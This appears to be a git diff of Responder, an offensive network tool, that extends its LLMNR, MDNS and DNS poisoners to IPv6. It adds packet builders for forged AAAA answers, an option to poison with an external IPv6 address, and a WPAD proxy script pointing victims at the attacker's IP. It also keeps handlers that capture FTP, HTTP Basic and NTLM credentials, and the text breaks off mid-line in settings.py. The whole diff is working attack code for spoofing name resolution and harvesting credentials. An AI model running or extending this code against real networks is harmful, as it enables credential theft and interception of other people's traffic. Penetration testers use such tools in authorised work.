diff --git a/Responder.py b/Responder.py index b8a819e..17f0a68 100755 --- a/Responder.py +++ b/Responder.py @@ -29,14 +29,12 @@ parser = optparse.OptionParser(usage='python %prog -I eth0 -w -r -f\nor:\npython parser.add_option('-A','--analyze', action="store_true", help="Analyze mode. This option allows you to see NBT-NS, BROWSER, LLMNR requests without responding.", dest="Analyze", default=False) parser.add_option('-I','--interface', action="store", help="Network interface to use, you can use 'ALL' as a wildcard for all interfaces", dest="Interface", metavar="eth0", default=None) parser.add_option('-i','--ip', action="store", help="Local IP to use \033[1m\033[31m(only for OSX)\033[0m", dest="OURIP", metavar="10.0.0.21", default=None) - +parser.add_option('-6', "--externalip6", action="store", help="Poison all requests with another IPv6 address than Responder's one.", dest="ExternalIP6", metavar="2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed", default=None) parser.add_option('-e', "--externalip", action="store", help="Poison all requests with another IP address than Responder's one.", dest="ExternalIP", metavar="10.0.0.22", default=None) parser.add_option('-b', '--basic', action="store_true", help="Return a Basic HTTP authentication. Default: NTLM", dest="Basic", default=False) -parser.add_option('-r', '--wredir', action="store_true", help="Enable answers for netbios wredir suffix queries. Answering to wredir will likely break stuff on the network. Default: False", dest="Wredirect", default=False) parser.add_option('-d', '--DHCP', action="store_true", help="Enable answers for DHCP broadcast requests. This option will inject a WPAD server in the DHCP response. Default: False", dest="DHCP_On_Off", default=False) parser.add_option('-D', '--DHCP-DNS', action="store_true", help="This option will inject a DNS server in the DHCP response, otherwise a WPAD server will be added. Default: False", dest="DHCP_DNS", default=False) -parser.add_option('-f','--fingerprint', action="store_true", help="This option allows you to fingerprint a host that issued an NBT-NS or LLMNR query.", dest="Finger", default=False) parser.add_option('-w','--wpad', action="store_true", help="Start the WPAD rogue proxy server. Default value is False", dest="WPAD_On_Off", default=False) parser.add_option('-u','--upstream-proxy', action="store", help="Upstream HTTP proxy used by the rogue WPAD Proxy for outgoing requests (format: host:port)", dest="Upstream_Proxy", default=None) parser.add_option('-F','--ForceWpadAuth', action="store_true", help="Force NTLM/Basic authentication on wpad.dat file retrieval. This may cause a login prompt. Default: False", dest="Force_WPAD_Auth", default=False) @@ -75,10 +73,11 @@ class ThreadingUDPServer(ThreadingMixIn, UDPServer): else: if (sys.version_info > (3, 0)): self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8')) + self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) else: self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0') + self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) except: - raise pass UDPServer.server_bind(self) @@ -91,10 +90,11 @@ class ThreadingTCPServer(ThreadingMixIn, TCPServer): else: if (sys.version_info > (3, 0)): self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8')) + self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) else: self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0') + self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) except: - raise pass TCPServer.server_bind(self) @@ -107,10 +107,11 @@ class ThreadingTCPServerAuth(ThreadingMixIn, TCPServer): else: if (sys.version_info > (3, 0)): self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8')) + self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) else: self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0') + self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) except: - raise pass self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER, struct.pack('ii', 1, 0)) TCPServer.server_bind(self) @@ -118,12 +119,18 @@ class ThreadingTCPServerAuth(ThreadingMixIn, TCPServer): class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer): def server_bind(self): MADDR = "224.0.0.251" - + MADDR6 = 'ff02::fb' self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR, 1) self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255) - Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP, socket.inet_aton(MADDR) + settings.Config.IP_aton) + #IPV6: + if (sys.version_info > (3, 0)): + mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface)) + self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq) + else: + mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface)) + self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq) if OsInterfaceIsSupported(): try: if settings.Config.Bind_To_ALL: @@ -131,21 +138,25 @@ class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer): else: if (sys.version_info > (3, 0)): self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8')) + self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) else: self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0') + self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) except: - raise pass UDPServer.server_bind(self) class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer): def server_bind(self): - MADDR = "224.0.0.252" + MADDR = '224.0.0.252' + MADDR6 = 'FF02:0:0:0:0:0:1:3' self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1) - self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255) - + self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255) Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP,socket.inet_aton(MADDR) + settings.Config.IP_aton) - + + #IPV6: + mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface)) + self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq) if OsInterfaceIsSupported(): try: if settings.Config.Bind_To_ALL: @@ -153,51 +164,61 @@ class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer): else: if (sys.version_info > (3, 0)): self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8')) + self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) else: self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0') + self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) except: - raise - #pass + pass UDPServer.server_bind(self) + ThreadingUDPServer.allow_reuse_address = 1 +ThreadingUDPServer.address_family = socket.AF_INET6 + ThreadingTCPServer.allow_reuse_address = 1 +ThreadingTCPServer.address_family = socket.AF_INET6 + ThreadingUDPMDNSServer.allow_reuse_address = 1 +ThreadingUDPMDNSServer.address_family = socket.AF_INET6 + ThreadingUDPLLMNRServer.allow_reuse_address = 1 +ThreadingUDPLLMNRServer.address_family = socket.AF_INET6 + ThreadingTCPServerAuth.allow_reuse_address = 1 +ThreadingTCPServerAuth.address_family = socket.AF_INET6 def serve_thread_udp_broadcast(host, port, handler): try: - server = ThreadingUDPServer((host, port), handler) + server = ThreadingUDPServer(('', port), handler) server.serve_forever() except: print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.") def serve_NBTNS_poisoner(host, port, handler): - serve_thread_udp_broadcast(host, port, handler) + serve_thread_udp_broadcast('', port, handler) def serve_MDNS_poisoner(host, port, handler): try: - server = ThreadingUDPMDNSServer((host, port), handler) + server = ThreadingUDPMDNSServer(('', port), handler) server.serve_forever() except: print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.") def serve_LLMNR_poisoner(host, port, handler): try: - server = ThreadingUDPLLMNRServer((host, port), handler) + server = ThreadingUDPLLMNRServer(('', port), handler) server.serve_forever() except: - raise print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.") - + def serve_thread_udp(host, port, handler): try: if OsInterfaceIsSupported(): - server = ThreadingUDPServer((host, port), handler) + server = ThreadingUDPServer(('', port), handler) server.serve_forever() else: - server = ThreadingUDPServer((host, port), handler) + server = ThreadingUDPServer(('', port), handler) server.serve_forever() except: print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.") @@ -205,10 +226,10 @@ def serve_thread_udp(host, port, handler): def serve_thread_tcp(host, port, handler): try: if OsInterfaceIsSupported(): - server = ThreadingTCPServer((host, port), handler) + server = ThreadingTCPServer(('', port), handler) server.serve_forever() else: - server = ThreadingTCPServer((host, port), handler) + server = ThreadingTCPServer(('', port), handler) server.serve_forever() except: print(color("[!] ", 1, 1) + "Error starting TCP server on port " + str(port) + ", check permissions or other servers running.") @@ -216,10 +237,10 @@ def serve_thread_tcp(host, port, handler): def serve_thread_tcp_auth(host, port, handler): try: if OsInterfaceIsSupported(): - server = ThreadingTCPServerAuth((host, port), handler) + server = ThreadingTCPServerAuth(('', port), handler) server.serve_forever() else: - server = ThreadingTCPServerAuth((host, port), handler) + server = ThreadingTCPServerAuth(('', port), handler) server.serve_forever() except: print(color("[!] ", 1, 1) + "Error starting TCP server on port " + str(port) + ", check permissions or other servers running.") @@ -231,11 +252,11 @@ def serve_thread_SSL(host, port, handler): key = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey) if OsInterfaceIsSupported(): - server = ThreadingTCPServer((host, port), handler) + server = ThreadingTCPServer(('', port), handler) server.socket = ssl.wrap_socket(server.socket, certfile=cert, keyfile=key, server_side=True) server.serve_forever() else: - server = ThreadingTCPServer((host, port), handler) + server = ThreadingTCPServer(('', port), handler) server.socket = ssl.wrap_socket(server.socket, certfile=cert, keyfile=key, server_side=True) server.serve_forever() except: @@ -243,7 +264,10 @@ def serve_thread_SSL(host, port, handler): def main(): try: + if (sys.version_info < (3, 0)): + print(color('\n\n[-]', 3, 1) + " Still using python 2? :(") print(color('\n[+]', 2, 1) + " Listening for events...\n") + threads = [] # Load (M)DNS, NBNS and LLMNR Poisoners diff --git a/packets.py b/packets.py index e533cf6..07c9a7d 100755 --- a/packets.py +++ b/packets.py @@ -23,7 +23,7 @@ import re from os import urandom from base64 import b64decode, b64encode from odict import OrderedDict -from utils import HTTPCurrentDate, SMBTime, RespondWithIPAton, StructPython2or3, NetworkRecvBufferPython2or3, StructWithLenPython2or3 +from utils import HTTPCurrentDate, SMBTime, RespondWithIPAton, RespondWithIPPton, RespondWithIP, StructPython2or3, NetworkRecvBufferPython2or3, StructWithLenPython2or3 # Packet class handling all packet generation (see odict.py). class Packet(): @@ -90,6 +90,32 @@ class DNS_Ans(Packet): self.fields["IP"] = RespondWithIPAton() self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"]) +class DNS6_Ans(Packet): + fields = OrderedDict([ + ("Tid", ""), + ("Flags", "\x85\x10"), + ("Question", "\x00\x01"), + ("AnswerRRS", "\x00\x01"), + ("AuthorityRRS", "\x00\x00"), + ("AdditionalRRS", "\x00\x00"), + ("QuestionName", ""), + ("QuestionNameNull", "\x00"), + ("Type", "\x00\x1c"), + ("Class", "\x00\x01"), + ("AnswerPointer", "\xc0\x0c"), + ("Type1", "\x00\x1c"), + ("Class1", "\x00\x01"), + ("TTL", "\x00\x00\x00\x1e"), #30 secs, don't mess with their cache for too long.. + ("IPLen", "\x00\x04"), + ("IP", "\x00\x00\x00\x00"), + ]) + + def calculate(self,data): + self.fields["Tid"] = data[0:2] + self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1]) + self.fields["IP"] = RespondWithIPPton() + self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"]) + class DNS_SRV_Ans(Packet): fields = OrderedDict([ ("Tid", ""), @@ -181,6 +207,35 @@ class LLMNR_Ans(Packet): self.fields["AnswerNameLen"] = StructPython2or3(">B",self.fields["AnswerName"]) self.fields["QuestionNameLen"] = StructPython2or3(">B",self.fields["QuestionName"]) +class LLMNR6_Ans(Packet): + fields = OrderedDict([ + ("Tid", ""), + ("Flags", "\x80\x00"), + ("Question", "\x00\x01"), + ("AnswerRRS", "\x00\x01"), + ("AuthorityRRS", "\x00\x00"), + ("AdditionalRRS", "\x00\x00"), + ("QuestionNameLen", "\x09"), + ("QuestionName", ""), + ("QuestionNameNull", "\x00"), + ("Type", "\x00\x1c"), + ("Class", "\x00\x01"), + ("AnswerNameLen", "\x09"), + ("AnswerName", ""), + ("AnswerNameNull", "\x00"), + ("Type1", "\x00\x1c"), + ("Class1", "\x00\x01"), + ("TTL", "\x00\x00\x00\x1e"),##Poison for 30 sec. + ("IPLen", "\x00\x04"), + ("IP", "\x00\x00\x00\x00"), + ]) + + def calculate(self): + self.fields["IP"] = RespondWithIPPton() + self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"]) + self.fields["AnswerNameLen"] = StructPython2or3(">B",self.fields["AnswerName"]) + self.fields["QuestionNameLen"] = StructPython2or3(">B",self.fields["QuestionName"]) + # MDNS Answer Packet class MDNS_Ans(Packet): fields = OrderedDict([ @@ -200,6 +255,29 @@ class MDNS_Ans(Packet): ]) def calculate(self): + self.fields["IP"] = RespondWithIPAton() + self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"]) + +# MDNS6 Answer Packet +class MDNS6_Ans(Packet): + fields = OrderedDict([ + ("Tid", "\x00\x00"), + ("Flags", "\x84\x00"), + ("Question", "\x00\x00"), + ("AnswerRRS", "\x00\x01"), + ("AuthorityRRS", "\x00\x00"), + ("AdditionalRRS", "\x00\x00"), + ("AnswerName", ""), + ("AnswerNameNull", "\x00"), + ("Type", "\x00\x1c"), + ("Class", "\x00\x01"), + ("TTL", "\x00\x00\x00\x78"),##Poison for 2mn. + ("IPLen", "\x00\x04"), + ("IP", "\x00\x00\x00\x00"), + ]) + + def calculate(self): + self.fields["IP"] = RespondWithIPPton() self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"]) ################### DHCP SRV ###################### @@ -299,7 +377,7 @@ class IIS_Auth_Granted(Packet): ("ContentLen", "Content-Length: "), ("ActualLen", "76"), ("CRLF", "\r\n\r\n"), - ("Payload", "\n\n\n\nLoading\n\n\n"), + ("Payload", "\n\n\n\nLoading\n\n\n"), ]) def calculate(self): self.fields["ActualLen"] = len(str(self.fields["Payload"])) @@ -358,7 +436,7 @@ class WPADScript(Packet): ("ContentLen", "Content-Length: "), ("ActualLen", "76"), ("CRLF", "\r\n\r\n"), - ("Payload", "function FindProxyForURL(url, host){return 'PROXY wpadwpadwpad:3141; DIRECT';}"), + ("Payload", "function FindProxyForURL(url, host){return 'PROXY "+RespondWithIP()+":3141; DIRECT';}"), ]) def calculate(self): self.fields["ActualLen"] = len(str(self.fields["Payload"])) @@ -2228,7 +2306,7 @@ class SamLogonResponseEx(Packet): ("ServerName", settings.Config.MachineName), ("ServerTerminator", "\x00"), ("UsernameLen", "\x10"), - ("Username", "LGANDX"), + ("Username", settings.Config.Username), ("UserTerminator", "\x00"), ("SrvSiteNameLen", "\x17"), ("SrvSiteName", "Default-First-Site-Name"), diff --git a/poisoners/LLMNR.py b/poisoners/LLMNR.py old mode 100644 new mode 100755 index c56c8cb..296302b --- a/poisoners/LLMNR.py +++ b/poisoners/LLMNR.py @@ -14,9 +14,7 @@ # # You should have received a copy of the GNU General Public License # along with this program. If not, see . - -import fingerprint -from packets import LLMNR_Ans +from packets import LLMNR_Ans, LLMNR6_Ans from utils import * if (sys.version_info > (3, 0)): @@ -24,9 +22,6 @@ if (sys.version_info > (3, 0)): else: from SocketServer import BaseRequestHandler - - - def Parse_LLMNR_Name(data): import codecs NameLen = data[12] @@ -60,14 +55,13 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class try: data, soc = self.request Name = Parse_LLMNR_Name(data).decode("latin-1") + LLMNRType = Parse_IPV6_Addr(data) + # Break out if we don't want to respond to this host if RespondToThisHost(self.client_address[0], Name) is not True: return None - if data[2:4] == b'\x00\x00' and Parse_IPV6_Addr(data): - Finger = None - if settings.Config.Finger_On_Off: - Finger = fingerprint.RunSmbFinger((self.client_address[0], 445)) - + #IPv4 + if data[2:4] == b'\x00\x00' and LLMNRType: if settings.Config.AnalyzeMode: LineHeader = "[Analyze mode: LLMNR]" print(color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)) @@ -77,7 +71,8 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class 'ForName': Name, 'AnalyzeMode': '1', }) - else: # Poisoning Mode + + elif LLMNRType == True: # Poisoning Mode Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name) Buffer1.calculate() soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address) @@ -89,8 +84,19 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class 'ForName': Name, 'AnalyzeMode': '0', }) - if Finger is not None: - print(text("[FINGER] OS Version : %s" % color(Finger[0], 3))) - print(text("[FINGER] Client Version : %s" % color(Finger[1], 3))) + + elif LLMNRType == 'IPv6': + Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name) + Buffer1.calculate() + soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address) + LineHeader = "[*] [LLMNR]" + print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1)) + SavePoisonersToDb({ + 'Poisoner': 'LLMNR6', + 'SentToIp': self.client_address[0], + 'ForName': Name, + 'AnalyzeMode': '0', + }) + except: raise diff --git a/poisoners/MDNS.py b/poisoners/MDNS.py old mode 100644 new mode 100755 index dfb80ae..6973dc0 --- a/poisoners/MDNS.py +++ b/poisoners/MDNS.py @@ -20,7 +20,7 @@ if (sys.version_info > (3, 0)): from socketserver import BaseRequestHandler else: from SocketServer import BaseRequestHandler -from packets import MDNS_Ans +from packets import MDNS_Ans, MDNS6_Ans from utils import * def Parse_MDNS_Name(data): @@ -51,37 +51,45 @@ def Poisoned_MDNS_Name(data): class MDNS(BaseRequestHandler): def handle(self): - MADDR = "224.0.0.251" - MPORT = 5353 data, soc = self.request Request_Name = Parse_MDNS_Name(data) - + MDNSType = Parse_IPV6_Addr(data) # Break out if we don't want to respond to this host + if (not Request_Name) or (RespondToThisHost(self.client_address[0], Request_Name) is not True): return None if settings.Config.AnalyzeMode: # Analyze Mode - if Parse_IPV6_Addr(data): - print(text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3)))) - SavePoisonersToDb({ - 'Poisoner': 'MDNS', - 'SentToIp': self.client_address[0], - 'ForName': Request_Name, - 'AnalyzeMode': '1', - }) - else: # Poisoning Mode - if Parse_IPV6_Addr(data): + print(text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3)))) + SavePoisonersToDb({ + 'Poisoner': 'MDNS', + 'SentToIp': self.client_address[0], + 'ForName': Request_Name, + 'AnalyzeMode': '1', + }) + elif MDNSType == True: # Poisoning Mode + Poisoned_Name = Poisoned_MDNS_Name(data) + Buffer = MDNS_Ans(AnswerName = Poisoned_Name) + Buffer.calculate() + soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address) + print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1)) + SavePoisonersToDb({ + 'Poisoner': 'MDNS', + 'SentToIp': self.client_address[0], + 'ForName': Request_Name, + 'AnalyzeMode': '0', + }) - Poisoned_Name = Poisoned_MDNS_Name(data) - Buffer = MDNS_Ans(AnswerName = Poisoned_Name, IP=RespondWithIPAton()) - Buffer.calculate() - soc.sendto(NetworkSendBufferPython2or3(Buffer), (MADDR, MPORT)) - - print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1)) - SavePoisonersToDb({ - 'Poisoner': 'MDNS', - 'SentToIp': self.client_address[0], - 'ForName': Request_Name, - 'AnalyzeMode': '0', - }) + elif MDNSType == 'IPv6': # Poisoning Mode + Poisoned_Name = Poisoned_MDNS_Name(data) + Buffer = MDNS6_Ans(AnswerName = Poisoned_Name) + Buffer.calculate() + soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address) + print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1)) + SavePoisonersToDb({ + 'Poisoner': 'MDNS6', + 'SentToIp': self.client_address[0], + 'ForName': Request_Name, + 'AnalyzeMode': '0', + }) diff --git a/poisoners/NBTNS.py b/poisoners/NBTNS.py old mode 100644 new mode 100755 index 5000e81..088f667 --- a/poisoners/NBTNS.py +++ b/poisoners/NBTNS.py @@ -14,7 +14,6 @@ # # You should have received a copy of the GNU General Public License # along with this program. If not, see . -import fingerprint import sys from packets import NBT_Ans from utils import * @@ -24,21 +23,6 @@ if (sys.version_info > (3, 0)): else: from SocketServer import BaseRequestHandler -# Define what are we answering to. -def Validate_NBT_NS(data): - print("NBT-Service is:", NetworkRecvBufferPython2or3(data[43:46])) - if settings.Config.AnalyzeMode: - return False - elif NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46])) == "File Server": - return True - elif settings.Config.NBTNSDomain: - if NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46])) == "Domain Controller": - return True - elif settings.Config.Wredirect: - if NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46])) == "Workstation/Redirector": - return True - return False - # NBT_NS Server class. class NBTNS(BaseRequestHandler): @@ -51,10 +35,6 @@ class NBTNS(BaseRequestHandler): return None if data[2:4] == b'\x01\x10': - Finger = None - if settings.Config.Finger_On_Off: - Finger = fingerprint.RunSmbFinger((self.client_address[0],445)) - if settings.Config.AnalyzeMode: # Analyze Mode LineHeader = "[Analyze mode: NBT-NS]" print(color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)) @@ -77,6 +57,3 @@ class NBTNS(BaseRequestHandler): 'AnalyzeMode': '0', }) - if Finger is not None: - print(text("[FINGER] OS Version : %s" % color(Finger[0], 3))) - print(text("[FINGER] Client Version : %s" % color(Finger[1], 3))) diff --git a/servers/DNS.py b/servers/DNS.py index 528c078..97cf140 100755 --- a/servers/DNS.py +++ b/servers/DNS.py @@ -15,7 +15,7 @@ # You should have received a copy of the GNU General Public License # along with this program. If not, see . from utils import * -from packets import DNS_Ans, DNS_SRV_Ans +from packets import DNS_Ans, DNS_SRV_Ans, DNS6_Ans if settings.Config.PY2OR3 == "PY3": from socketserver import BaseRequestHandler else: @@ -28,6 +28,8 @@ def ParseDNSType(data): return "A" if QueryTypeClass == "\x00\x21\x00\x01": return "SRV" + if QueryTypeClass == "\x00\x1c\x00\x01": + return "IPv6" @@ -53,7 +55,15 @@ class DNS(BaseRequestHandler): ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) print(color("[*] [DNS] SRV Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) + if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "IPv6": + buff = DNS6_Ans() + buff.calculate(NetworkRecvBufferPython2or3(data)) + soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address) + ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) + print(color("[*] [DNS] AAAA Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) + except Exception: + raise pass # DNS Server TCP Class @@ -79,5 +89,13 @@ class DNSTCP(BaseRequestHandler): ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) print(color("[*] [DNS] SRV Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) + if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "IPv6": + buff = DNS6_Ans() + buff.calculate(NetworkRecvBufferPython2or3(data)) + self.request.send(NetworkSendBufferPython2or3(buff)) + ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) + print(color("[*] [DNS] AAAA Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) + except Exception: + raise pass diff --git a/servers/FTP.py b/servers/FTP.py old mode 100644 new mode 100755 index cd249ac..b60b3d9 --- a/servers/FTP.py +++ b/servers/FTP.py @@ -37,10 +37,8 @@ class FTP(BaseRequestHandler): if data[0:4] == b'PASS': Pass = data[5:].strip().decode("latin-1") - Packet = FTPPacket(Code="530",Message="User not logged in.") self.request.send(NetworkSendBufferPython2or3(Packet)) - data = self.request.recv(1024) SaveToDb({ 'module': 'FTP', @@ -57,4 +55,5 @@ class FTP(BaseRequestHandler): data = self.request.recv(1024) except Exception: + raise pass diff --git a/servers/HTTP.py b/servers/HTTP.py old mode 100644 new mode 100755 index 2701ca8..0ce6b73 --- a/servers/HTTP.py +++ b/servers/HTTP.py @@ -86,16 +86,6 @@ def GrabCookie(data, host): return Cookie return False -def GrabHost(data, host): - Host = re.search(r'(Host:*.\=*)[^\r\n]*', data) - - if Host: - Host = Host.group(0).replace('Host: ', '') - if settings.Config.Verbose: - print(text("[HTTP] Host : %s " % color(Host, 3))) - return Host - return False - def GrabReferer(data, host): Referer = re.search(r'(Referer:*.\=*)[^\r\n]*', data) @@ -196,8 +186,7 @@ def PacketSequence(data, client, Challenge): Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9] if Packet_NTLM == b'\x01': GrabURL(data, client) - GrabReferer(data, client) - GrabHost(data, client) + #GrabReferer(data, client) GrabCookie(data, client) Buffer = NTLM_Challenge(ServerChallenge=NetworkRecvBufferPython2or3(Challenge)) @@ -228,8 +217,7 @@ def PacketSequence(data, client, Challenge): ClearText_Auth = b64decode(''.join(Basic_Auth)) GrabURL(data, client) - GrabReferer(data, client) - GrabHost(data, client) + #GrabReferer(data, client) GrabCookie(data, client) SaveToDb({ @@ -311,3 +299,4 @@ class HTTP(BaseRequestHandler): except: pass + diff --git a/servers/HTTP_Proxy.py b/servers/HTTP_Proxy.py old mode 100644 new mode 100755 index 2b23dbf..fcade5e --- a/servers/HTTP_Proxy.py +++ b/servers/HTTP_Proxy.py @@ -207,7 +207,7 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler): rbufsize = 0 def handle(self): - (ip, port) = self.client_address + (ip, port) = self.client_address[0], self.client_address[1] if settings.Config.Verbose: print(text("[PROXY] Received connection from %s" % self.client_address[0])) self.__base_handle() @@ -246,14 +246,15 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler): try: if self._connect_to(self.path, soc): - self.wfile.write(self.protocol_version +" 200 Connection established\r\n") - self.wfile.write("Proxy-agent: %s\r\n" % self.version_string()) - self.wfile.write("\r\n") + self.wfile.write(NetworkSendBufferPython2or3(self.protocol_version +" 200 Connection established\r\n")) + self.wfile.write(NetworkSendBufferPython2or3("Proxy-agent: %s\r\n"% self.version_string())) + self.wfile.write(NetworkSendBufferPython2or3("\r\n")) try: self._read_write(soc, 300) except: pass except: + raise pass finally: diff --git a/servers/MSSQL.py b/servers/MSSQL.py old mode 100644 new mode 100755 diff --git a/servers/RDP.py b/servers/RDP.py old mode 100644 new mode 100755 index 82edbe7..f2e5bd1 --- a/servers/RDP.py +++ b/servers/RDP.py @@ -105,7 +105,7 @@ class RDP(BaseRequestHandler): h.calculate() buffer1 = str(h) self.request.send(NetworkSendBufferPython2or3(buffer1)) - SSLsock = ssl.wrap_socket(self.request, certfile=cert, keyfile=key, ssl_version=ssl.PROTOCOL_TLS,server_side=True) + SSLsock = ssl.wrap_socket(self.request, certfile=cert, keyfile=key, ssl_version=ssl.PROTOCOL_TLS_SERVER,server_side=True) SSLsock.settimeout(30) data = SSLsock.read(8092) if FindNTLMNegoStep(data) == b'\x01\x00\x00\x00': diff --git a/settings.py b/settings.py index a2ee6ed..095f5b5 100755 --- a/settings.py +++ b/settings.py @@ -23,7 +23,7 @@ import subprocess from utils import * -__version__ = 'Responder 3.1.0.0' +__version__ = 'Responder 3.1.1.0' class Settings: @@ -83,7 +83,7 @@ class Settings: # Config parsing config = ConfigParser.ConfigParser() config.read(os.path.join(self.ResponderPATH, 'Responder.conf')) - + # Servers self.HTTP_On_Off = self.toBool(config.get('Responder Core', 'HTTP')) self.SSL_On_Off = self.toBool(config.get('Responder Core', 'HTTPS')) @@ -119,10 +119,8 @@ class Settings: self.LM_On_Off = options.LM_On_Off self.NOESS_On_Off = options.NOESS_On_Off self.WPAD_On_Off = options.WPAD_On_Off - self.Wredirect = options.Wredirect self.DHCP_On_Off = options.DHCP_On_Off self.Basic = options.Basic - self.Finger_On_Off = options.Finger self.Interface = options.Interface self.OURIP = options.OURIP self.Force_WPAD_Auth = options.Force_WPAD_Auth @@ -132,23 +130,42 @@ class Settings: self.ProxyAuth_On_Off = options.ProxyAuth_On_Off self.CommandLine = str(sys.argv) self.Bind_To = utils.FindLocalIP(self.Interface, self.OURIP) - self.DHCP_DNS = options.DHCP_DNS + self.Bind_To6 = utils.FindLocalIP6(self.Interface, self.OURIP) + self.DHCP_DNS = options.DHCP_DNS + self.ExternalIP6 = options.ExternalIP6 if self.Interface == "ALL": self.Bind_To_ALL = True else: self.Bind_To_ALL = False - + #IPV4 if 